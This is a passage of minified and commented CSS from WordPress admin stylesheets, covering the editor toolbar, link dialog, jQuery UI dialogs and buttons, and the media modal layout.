dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}i.mce-i-bold:before{content:"\f200"}i.mce-i-italic:before{content:"\f201"}i.mce-i-bullist:before{content:"\f203"}i.mce-i-numlist:before{content:"\f204"}i.mce-i-blockquote:before{content:"\f205"}i.mce-i-alignleft:before{content:"\f206"}i.mce-i-aligncenter:before{content:"\f207"}i.mce-i-alignright:before{content:"\f208"}i.mce-i-link:before{content:"\f103"}i.mce-i-unlink:before{content:"\f225"}i.mce-i-wp_more:before{content:"\f209"}i.mce-i-strikethrough:before{content:"\f224"}i.mce-i-spellchecker:before{content:"\f210"}.qt-dfw:before,i.mce-i-dfw:before,i.mce-i-fullscreen:before,i.mce-i-wp_fullscreen:before{content:"\f211"}i.mce-i-wp_adv:before{content:"\f212"}i.mce-i-underline:before{content:"\f213"}i.mce-i-alignjustify:before{content:"\f214"}i.mce-i-backcolor:before,i.mce-i-forecolor:before{content:"\f215"}i.mce-i-pastetext:before{content:"\f217"}i.mce-i-removeformat:before{content:"\f218"}i.mce-i-charmap:before{content:"\f220"}i.mce-i-outdent:before{content:"\f221"}i.mce-i-indent:before{content:"\f222"}i.mce-i-undo:before{content:"\f171"}i.mce-i-redo:before{content:"\f172"}i.mce-i-help:before,i.mce-i-wp_help:before{content:"\f223"}i.mce-i-wp-media-library:before{content:"\f104"}i.mce-i-ltr:before{content:"\f320"}i.mce-i-wp_page:before{content:"\f105"}i.mce-i-hr:before{content:"\f460"}i.mce-i-remove:before{content:"\f158"}i.mce-i-wp_code:before{content:"\f475"}.rtl i.mce-i-outdent:before{content:"\f222"}.rtl i.mce-i-indent:before{content:"\f221"}.wp-editor-wrap{position:relative}.wp-editor-tools{position:relative;z-index:1}.wp-editor-tools:after{clear:both;content:"";display:table}.wp-editor-container{clear:both;border:1px solid #dcdcde}.wp-editor-area{font-family:Consolas,Monaco,monospace;font-size:13px;padding:10px;margin:1px 0 0;line-height:150%;border:0;outline:0;display:block;resize:vertical;box-sizing:border-box}.rtl .wp-editor-area{font-family:Tahoma,Monaco,monospace}.locale-he-il .wp-editor-area{font-family:Arial,Monaco,monospace}.wp-editor-container textarea.wp-editor-area{width:100%;margin:0;box-shadow:none}.wp-editor-tabs{float:right}.wp-switch-editor{float:left;box-sizing:content-box;position:relative;top:1px;background:#f0f0f1;color:#646970;cursor:pointer;font-size:13px;line-height:1.46153846;height:20px;margin:5px 0 0 5px;padding:3px 8px 4px;border:1px solid #dcdcde}.wp-switch-editor:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;color:#1d2327}.html-active .switch-html:focus,.tmce-active .switch-tmce:focus,.wp-switch-editor:active{box-shadow:none}.wp-switch-editor:active{background-color:#f6f7f7;box-shadow:none}.js .tmce-active .wp-editor-area{color:#fff}.tmce-active .quicktags-toolbar{display:none}.html-active .switch-html,.tmce-active .switch-tmce{background:#f6f7f7;color:#50575e;border-bottom-color:#f6f7f7}.wp-media-buttons{float:left}.wp-media-buttons .button{margin-right:5px;margin-bottom:4px;padding-left:7px;padding-right:7px}.wp-media-buttons .button:active{position:relative;top:1px;margin-top:-1px;margin-bottom:1px}.wp-media-buttons .insert-media{padding-left:5px}.wp-media-buttons a{text-decoration:none;color:#3c434a;font-size:12px}.wp-media-buttons img{padding:0 4px;vertical-align:middle}.wp-media-buttons span.wp-media-buttons-icon{display:inline-block;width:20px;height:20px;line-height:1;vertical-align:middle;margin:0 2px}.wp-media-buttons .add_media span.wp-media-buttons-icon{background:0 0}.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font:normal 18px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-media-buttons .add_media span.wp-media-buttons-icon:before{content:"\f104"}.mce-content-body dl.wp-caption{max-width:100%}.quicktags-toolbar{padding:3px;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7;min-height:30px}.has-dfw .quicktags-toolbar{padding-right:35px}.wp-core-ui .quicktags-toolbar input.button.button-small{margin:2px}.quicktags-toolbar input[value=link]{text-decoration:underline}.quicktags-toolbar input[value=del]{text-decoration:line-through}.quicktags-toolbar input[value="i"]{font-style:italic}.quicktags-toolbar input[value="b"]{font-weight:600}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,.qt-dfw{position:absolute;top:0;right:0}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw{margin:7px 7px 0 0}.qt-dfw{margin:5px 5px 0 0}.qt-fullscreen{position:static;margin:2px}@media screen and (max-width:782px){.mce-toolbar .mce-btn button,.qt-dfw{padding:6px 7px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:6px 7px 5px}.mce-toolbar .mce-btn-group .mce-btn{margin:1px}.qt-dfw{width:36px;height:34px}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw{margin:4px 4px 0 0}.mce-toolbar .mce-colorbutton .mce-preview{left:8px;bottom:6px}.mce-window .mce-btn{padding:2px 0}.has-dfw .quicktags-toolbar,.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-right:40px}}@media screen and (min-width:782px){.wp-core-ui .quicktags-toolbar input.button.button-small{font-size:12px;min-height:26px;line-height:2}}#wp_editbtns,#wp_gallerybtns{padding:2px;position:absolute;display:none;z-index:100020}#wp_delgallery,#wp_delimgbtn,#wp_editgallery,#wp_editimgbtn{background-color:#f0f0f1;margin:2px;padding:2px;border:1px solid #8c8f94;border-radius:3px}#wp_delgallery:hover,#wp_delimgbtn:hover,#wp_editgallery:hover,#wp_editimgbtn:hover{border-color:#50575e;background-color:#c3c4c7}#wp-link-wrap{display:none;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:500px;overflow:hidden;margin-left:-250px;margin-top:-125px;position:fixed;top:50%;left:50%;z-index:100105;transition:height .2s,margin-top .2s}#wp-link-backdrop{display:none;position:fixed;top:0;left:0;right:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100100}#wp-link{position:relative;height:100%}#wp-link-wrap{height:600px;margin-top:-300px}#wp-link-wrap .wp-link-text-field{display:none}#wp-link-wrap.has-text-field .wp-link-text-field{display:block}#link-modal-title{background:#fff;border-bottom:1px solid #dcdcde;font-size:18px;font-weight:600;line-height:2;margin:0;padding:0 36px 0 16px}#wp-link-close{color:#646970;padding:0;position:absolute;top:0;right:0;width:36px;height:36px;text-align:center;background:0 0;border:none;cursor:pointer}#wp-link-close:before{font:normal 20px/36px dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:36px;height:36px;content:"\f158"}#wp-link-close:focus,#wp-link-close:hover{color:#135e96}#wp-link-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}#wp-link-wrap #link-selector{-webkit-overflow-scrolling:touch;padding:0 16px;position:absolute;top:calc(2.15384615em + 16px);left:0;right:0;bottom:calc(2.15384615em + 19px);display:flex;flex-direction:column;overflow:auto}#wp-link ol,#wp-link ul{list-style:none;margin:0;padding:0}#wp-link input[type=text]{box-sizing:border-box}#wp-link #link-options{padding:8px 0 12px}#wp-link p.howto{margin:3px 0}#wp-link p.howto a{text-decoration:none;color:inherit}#wp-link label input[type=text]{margin-top:5px;width:70%}#wp-link #link-options label span,#wp-link #search-panel label span.search-label{display:inline-block;width:120px;text-align:right;padding-right:5px;max-width:24%;vertical-align:middle;word-wrap:break-word}#wp-link .link-search-field{width:250px;max-width:70%}#wp-link .link-search-wrapper{margin:5px 0 9px;display:block}#wp-link .query-results{position:absolute;width:calc(100% - 32px)}#wp-link .link-search-wrapper .spinner{float:none;margin:-3px 0 0 4px}#wp-link .link-target{padding:3px 0 0}#wp-link .link-target label{max-width:70%}#wp-link .query-results{border:1px #dcdcde solid;margin:0 0 12px;background:#fff;overflow:auto;max-height:290px}#wp-link li{clear:both;margin-bottom:0;border-bottom:1px solid #f0f0f1;color:#2c3338;padding:4px 6px 4px 10px;cursor:pointer;position:relative}#wp-link .query-notice{padding:0;border-bottom:1px solid #dcdcde;background-color:#fff;color:#000}#wp-link .query-notice .query-notice-default,#wp-link .query-notice .query-notice-hint{display:block;padding:6px;border-left:4px solid #72aee6}#wp-link .unselectable.no-matches-found{padding:0;border-bottom:1px solid #dcdcde;background-color:#f6f7f7}#wp-link .no-matches-found .item-title{display:block;padding:6px;border-left:4px solid #d63638}#wp-link .query-results em{font-style:normal}#wp-link li:hover{background:#f0f6fc;color:#101517}#wp-link li.unselectable{border-bottom:1px solid #dcdcde}#wp-link li.unselectable:hover{background:#fff;cursor:auto;color:#2c3338}#wp-link li.selected{background:#dcdcde;color:#2c3338}#wp-link li.selected .item-title{font-weight:600}#wp-link li:last-child{border:none}#wp-link .item-title{display:inline-block;width:80%;width:calc(100% - 68px);word-wrap:break-word}#wp-link .item-info{text-transform:uppercase;color:#646970;font-size:11px;position:absolute;right:5px;top:5px}#wp-link .river-waiting{display:none;padding:10px 0}#wp-link .submitbox{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;left:0;right:0}#wp-link-cancel{line-height:1.92307692;float:left}#wp-link-update{line-height:1.76923076;float:right}#wp-link-submit{float:right}@media screen and (max-width:782px){#link-selector{padding:0 16px 60px}#wp-link-wrap #link-selector{bottom:calc(2.71428571em + 23px)}#wp-link-cancel{line-height:2.46153846}#wp-link .link-target{padding-top:10px}#wp-link .submitbox .button{margin-bottom:0}}@media screen and (max-width:520px){#wp-link-wrap{width:auto;margin-left:0;left:10px;right:10px;max-width:500px}}@media screen and (max-height:620px){#wp-link-wrap{transition:none;height:auto;margin-top:0;top:10px;bottom:10px}#link-selector{overflow:auto}}@media screen and (max-height:290px){#wp-link-wrap{height:auto;margin-top:0;top:10px;bottom:10px}#link-selector{overflow:auto;height:calc(100% - 92px);padding-bottom:2px}}div.wp-link-preview{float:left;margin:5px;max-width:694px;overflow:hidden;text-overflow:ellipsis}div.wp-link-preview a{color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out;cursor:pointer}div.wp-link-preview a.wplink-url-error{color:#d63638}div.wp-link-input{float:left;margin:2px;max-width:694px}div.wp-link-input input{width:300px;padding:3px;box-sizing:border-box;line-height:1.28571429;min-height:26px}.mce-toolbar div.wp-link-input~.mce-btn,.mce-toolbar div.wp-link-preview~.mce-btn{margin:2px 1px}.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child{margin-right:2px}.ui-autocomplete.wplink-autocomplete{z-index:100110;max-height:200px;overflow-y:auto;padding:0;margin:0;list-style:none;position:absolute;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete.wplink-autocomplete li{margin-bottom:0;padding:4px 10px;clear:both;white-space:normal;text-align:left}.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right{float:right}.ui-autocomplete.wplink-autocomplete li.ui-state-focus{background-color:#dcdcde;cursor:pointer}@media screen and (max-width:782px){div.wp-link-input,div.wp-link-preview{max-width:70%;max-width:calc(100% - 86px)}div.wp-link-preview{margin:8px 0 8px 5px}div.wp-link-input{width:300px}div.wp-link-input input{width:100%;font-size:16px;padding:5px}}.mce-fullscreen{z-index:100010}.rtl .quicktags-toolbar input,.rtl .wp-switch-editor{font-family:Tahoma,sans-serif}.mce-rtl .mce-flow-layout .mce-flow-layout-item>div{direction:rtl}.mce-rtl .mce-listbox i.mce-caret{left:6px}html:lang(he-il) .rtl .quicktags-toolbar input,html:lang(he-il) .rtl .wp-switch-editor{font-family:Arial,sans-serif}@media print,(min-resolution:120dpi){.wp-media-buttons .add_media span.wp-media-buttons-icon{background:0 0}}/*!
 * jQuery UI CSS Framework 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-clearfix {
	min-height: 0; /* support: IE7 */
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
	filter:Alpha(Opacity=0); /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
}


/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}


/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}

/*!
 * jQuery UI Resizable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	left: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	left: 0;
}
/* rtl:ignore */
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
/* rtl:ignore */
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
/* rtl:ignore */
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
/* rtl:ignore */
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}

/* WP buttons: see buttons.css. */

.ui-button {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2;
	height: 28px;
	margin: 0;
	padding: 0 10px 1px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
	color: #50575e;
	border-color: #c3c4c7;
	background: #f6f7f7;
	box-shadow: 0 1px 0 #c3c4c7;
	vertical-align: top;
}

.ui-button:active,
.ui-button:focus {
	outline: none;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.ui-button::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.ui-button:hover,
.ui-button:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.ui-button:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.ui-button:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.ui-button[disabled],
.ui-button:disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

@media screen and (max-width: 782px) {

	.ui-button {
		padding: 6px 14px;
		line-height: normal;
		font-size: 14px;
		vertical-align: middle;
		height: auto;
		margin-bottom: 4px;
	}

}

/* WP Theme */

.ui-dialog {
	position: absolute;
	top: 0;
	left: 0;
	z-index: 100102;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	overflow: hidden;
}

.ui-dialog-titlebar {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	height: 36px;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	padding: 0 36px 0 16px;
}

.ui-button.ui-dialog-titlebar-close {
	background: none;
	border: none;
	box-shadow: none;
	color: #646970;
	cursor: pointer;
	display: block;
	padding: 0;
	position: absolute;
	top: 0;
	right: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	border-radius: 0;
	overflow: hidden;
}

.ui-dialog-titlebar-close:before {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	line-height: 1.8;
	width: 36px;
	height: 36px;
	content: "\f158";
}

.ui-button.ui-dialog-titlebar-close:hover,
.ui-button.ui-dialog-titlebar-close:focus {
	color: #135e96;
}

.ui-button.ui-dialog-titlebar-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.ui-dialog-content {
	padding: 16px;
	overflow: auto;
}

.ui-dialog-buttonpane {
	background: #fff;
	border-top: 1px solid #dcdcde;
	padding: 16px;
}

.ui-dialog-buttonpane .ui-button {
	margin-left: 16px;
}

.ui-dialog-buttonpane .ui-dialog-buttonset {
	float: right;
}

.ui-draggable .ui-dialog-titlebar {
	cursor: move;
}

.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100101;
}
/*! This file is auto-generated */
.media-modal *{box-sizing:content-box}.media-modal input,.media-modal select,.media-modal textarea{box-sizing:border-box}.media-frame,.media-modal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:12px;-webkit-overflow-scrolling:touch}.media-modal legend{padding:0;font-size:13px}.media-modal label{font-size:13px}.media-modal .legend-inline{position:absolute;transform:translate(-100%,50%);margin-left:-1%;line-height:1.2}.media-frame a{border-bottom:none;color:#2271b1}.media-frame a:active,.media-frame a:hover{color:#135e96}.media-frame a:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-frame a.button{color:#2c3338}.media-frame a.button:hover{color:#1d2327}.media-frame a.button-primary,.media-frame a.button-primary:hover{color:#fff}.media-frame input,.media-frame textarea{padding:6px 8px}.media-frame select,.wp-admin .media-frame select{min-height:30px;vertical-align:middle}.media-frame input[type=color],.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week],.media-frame select,.media-frame textarea{box-shadow:0 0 0 transparent;border-radius:4px;border:1px solid #8c8f94;background-color:#fff;color:#2c3338;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.38461538}.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week]{padding:0 8px;line-height:2.15384615}.media-frame.mode-grid .wp-filter input[type=search]{font-size:14px;line-height:2}.media-frame input[type=email]:focus,.media-frame input[type=number]:focus,.media-frame input[type=password]:focus,.media-frame input[type=search]:focus,.media-frame input[type=text]:focus,.media-frame input[type=url]:focus,.media-frame select:focus,.media-frame textarea:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.media-frame input:disabled,.media-frame input[readonly],.media-frame textarea:disabled,.media-frame textarea[readonly]{background-color:#f0f0f1}.media-frame input[type=search]{-webkit-appearance:textfield}.media-frame ::-webkit-input-placeholder{color:#646970}.media-frame ::-moz-placeholder{color:#646970;opacity:1}.media-frame :-ms-input-placeholder{color:#646970}.media-frame .hidden,.media-frame .setting.hidden{display:none}/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.media-modal{position:fixed;top:30px;left:30px;right:30px;bottom:30px;z-index:160000}.wp-customizer .media-modal{z-index:560000}.media-modal-backdrop{position:fixed;top:0;left:0;right:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:159900}.wp-customizer .media-modal-backdrop{z-index:559900}.media-modal-close{position:absolute;top:0;right:0;width:50px;height:50px;margin:0;padding:0;border:1px solid transparent;background:0 0;color:#646970;z-index:1000;cursor:pointer;outline:0;transition:color .1s ease-in-out,background .1s ease-in-out}.media-modal-close:active,.media-modal-close:hover{color:#135e96}.media-modal-close:focus{color:#135e96;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent}.media-modal-close span.media-modal-icon{background-image:none}.media-modal-close .media-modal-icon:before{content:"\f158";font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.media-modal-content{position:absolute;top:0;left:0;right:0;bottom:0;overflow:auto;min-height:300px;box-shadow:0 5px 15px rgba(0,0,0,.7);background:#fff;-webkit-font-smoothing:subpixel-antialiased}.media-modal-content .media-frame select.attachment-filters{margin-top:32px;margin-right:2%;width:42%;width:calc(48% - 12px)}.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons.png);background-repeat:no-repeat}.media-toolbar{position:absolute;top:0;left:0;right:0;z-index:100;height:60px;padding:0 16px;border:0 solid #dcdcde;overflow:hidden}.media-frame-toolbar .media-toolbar{top:auto;bottom:-47px;height:auto;overflow:visible;border-top:1px solid #dcdcde}.media-toolbar-primary{float:right;height:100%;position:relative}.media-toolbar-secondary{float:left;height:100%}.media-toolbar-primary>.media-button,.media-toolbar-primary>.media-button-group{margin-left:10px;float:left;margin-top:15px}.media-toolbar-secondary>.media-button,.media-toolbar-secondary>.media-button-group{margin-right:10px;margin-top:15px}.media-sidebar{position:absolute;top:0;right:0;bottom:0;width:267px;padding:0 16px;z-index:75;background:#f6f7f7;border-left:1px solid #dcdcde;overflow:auto;-webkit-overflow-scrolling:touch}.media-sidebar::after{content:"";display:flex;clear:both;height:24px}.hide-toolbar .media-sidebar{bottom:0}.image-details .media-embed h2,.media-sidebar h2{position:relative;font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}.attachment-details .setting,.media-sidebar .setting{display:block;float:left;width:100%;margin:0 0 10px}.media-sidebar .collection-settings .setting{margin:1px 0}.attachment-details .setting.has-description,.media-sidebar .setting.has-description{margin-bottom:5px}.media-sidebar .setting .link-to-custom{margin:3px 2px 0}.attachment-details .setting .name,.attachment-details .setting span,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{min-width:30%;margin-right:4%;font-size:12px;text-align:right;word-wrap:break-word}.media-sidebar .setting .name{max-width:80px}.media-sidebar .setting .value{text-align:left}.media-sidebar .setting select{max-width:65%}.attachment-details .field input[type=checkbox],.attachment-details .field input[type=radio],.attachment-details .setting input[type=checkbox],.attachment-details .setting input[type=radio],.media-sidebar .field input[type=checkbox],.media-sidebar .field input[type=radio],.media-sidebar .setting input[type=checkbox],.media-sidebar .setting input[type=radio]{float:none;margin:8px 3px 0;padding:0}.attachment-details .setting .name,.attachment-details .setting .value,.attachment-details .setting span,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{float:left;min-height:22px;padding-top:8px;line-height:1.33333333;font-weight:400;color:#646970}.media-sidebar .checkbox-label-inline{font-size:12px}.attachment-details .copy-to-clipboard-container,.media-sidebar .copy-to-clipboard-container{flex-wrap:wrap;margin-top:10px;margin-left:calc(35% - 1px);padding-top:10px}.attachment-details .attachment-info .copy-to-clipboard-container{float:none}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{padding:0;min-height:0;line-height:2.18181818;text-align:left;color:#007017}.compat-item label span{text-align:right}.attachment-details .setting .value,.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting .value,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting textarea{box-sizing:border-box;margin:1px;width:65%;float:right}.attachment-details .setting .value,.attachment-details .setting+.description,.media-sidebar .setting .value{margin:0 1px;text-align:left}.attachment-details .setting+.description{clear:both;font-size:12px;font-style:normal;margin-bottom:10px}.attachment-details .setting textarea,.compat-item .field textarea,.media-sidebar .setting textarea{height:62px;resize:vertical}.alt-text textarea,.attachment-details .alt-text textarea,.compat-item .alt-text textarea,.media-sidebar .alt-text textarea{height:50px}.compat-item{float:left;width:100%;overflow:hidden}.compat-item table{width:100%;table-layout:fixed;border-spacing:0;border:0}.compat-item tr{padding:2px 0;display:block;overflow:hidden}.compat-item .field,.compat-item .label{display:block;margin:0;padding:0}.compat-item .label{min-width:30%;margin-right:4%;float:left;text-align:right}.compat-item .label span{display:block;width:100%}.compat-item .field{float:right;width:65%;margin:1px}.compat-item .field input[type=email],.compat-item .field input[type=number],.compat-item .field input[type=password],.compat-item .field input[type=search],.compat-item .field input[type=tel],.compat-item .field input[type=text],.compat-item .field input[type=url],.compat-item .field textarea{width:100%;margin:0;box-sizing:border-box}.sidebar-for-errors .attachment-details,.sidebar-for-errors .compat-item,.sidebar-for-errors .media-sidebar .media-progress-bar,.sidebar-for-errors .upload-details{display:none!important}.media-menu{position:absolute;top:0;left:0;right:0;bottom:0;margin:0;padding:50px 0 10px;background:#f6f7f7;border-right-width:1px;border-right-style:solid;border-right-color:#c3c4c7;-webkit-user-select:none;user-select:none}.media-menu .media-menu-item{display:block;box-sizing:border-box;width:100%;position:relative;border:0;margin:0;padding:8px 20px;font-size:14px;line-height:1.28571428;background:0 0;color:#2271b1;text-align:left;text-decoration:none;cursor:pointer}.media-menu .media-menu-item:hover{background:rgba(0,0,0,.04)}.media-menu .media-menu-item:active{color:#2271b1;outline:0}.media-menu .active,.media-menu .active:hover{color:#1d2327;font-weight:600}.media-menu .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-menu .separator{height:0;margin:12px 20px;padding:0;border-top:1px solid #dcdcde}.media-router{position:relative;padding:0 6px;margin:0;clear:both}.media-router .media-menu-item{position:relative;float:left;border:0;margin:0;padding:8px 10px 9px;height:18px;line-height:1.28571428;font-size:14px;text-decoration:none;background:0 0;cursor:pointer;transition:none}.media-router .media-menu-item:last-child{border-right:0}.media-router .media-menu-item:active,.media-router .media-menu-item:hover{color:#2271b1}.media-router .active,.media-router .active:hover{color:#1d2327}.media-router .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-router .active,.media-router .media-menu-item.active:last-child{margin:-1px -1px 0;background:#fff;border:1px solid #dcdcde;border-bottom:none}.media-router .active:after{display:none}.media-frame{overflow:hidden;position:absolute;top:0;left:0;right:0;bottom:0}.media-frame-menu{position:absolute;top:0;left:0;bottom:0;width:200px;z-index:150}.media-frame-title{position:absolute;top:0;left:200px;right:0;height:50px;z-index:200}.media-frame-router{position:absolute;top:50px;left:200px;right:0;height:36px;z-index:200}.media-frame-content{position:absolute;top:84px;left:200px;right:0;bottom:61px;height:auto;width:auto;margin:0;overflow:auto;background:#fff;border-top:1px solid #dcdcde}.media-frame-toolbar{position:absolute;left:200px;right:0;z-index:100;bottom:60px;height:auto}.media-frame.hide-menu .media-frame-content,.media-frame.hide-menu .media-frame-router,.media-frame.hide-menu .media-frame-title,.media-frame.hide-menu .media-frame-toolbar{left:0}.media-frame.hide-toolbar .media-frame-content{bottom:0}.media-frame.hide-router .media-frame-content{top:50px}.media-frame.hide-menu .media-frame-menu,.media-frame.hide-menu .media-frame-menu-heading,.media-frame.hide-router .media-frame-router,.media-frame.hide-toolbar .media-frame-toolbar{display:none}.media-frame-title h1{padding:0 16px;font-size:22px;line-height:2.27272727;margin:0}.media-attachments-filter-heading,.media-frame-menu-heading{position:absolute;left:20px;top:22px;margin:0;font-size:13px;line-height:1;z-index:151}.media-attachments-filter-heading{top:10px;left:16px}.mode-grid .media-attachments-filter-heading{top:0;left:-9999px}.mode-grid .media-frame-actions-heading{display:none}.wp-core-ui .button.media-frame-menu-toggle{display:none}.media-frame-title .suggested-dimensions{font-size:14px;float:right;margin-right:20px}.media-frame-content .crop-content{height:100%}.options-general-php .crop-content.site-icon,.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon{margin-right:300px}.media-frame-content .crop-content .crop-image{display:block;margin:auto;max-width:100%;max-height:100%}.media-frame-content .crop-content 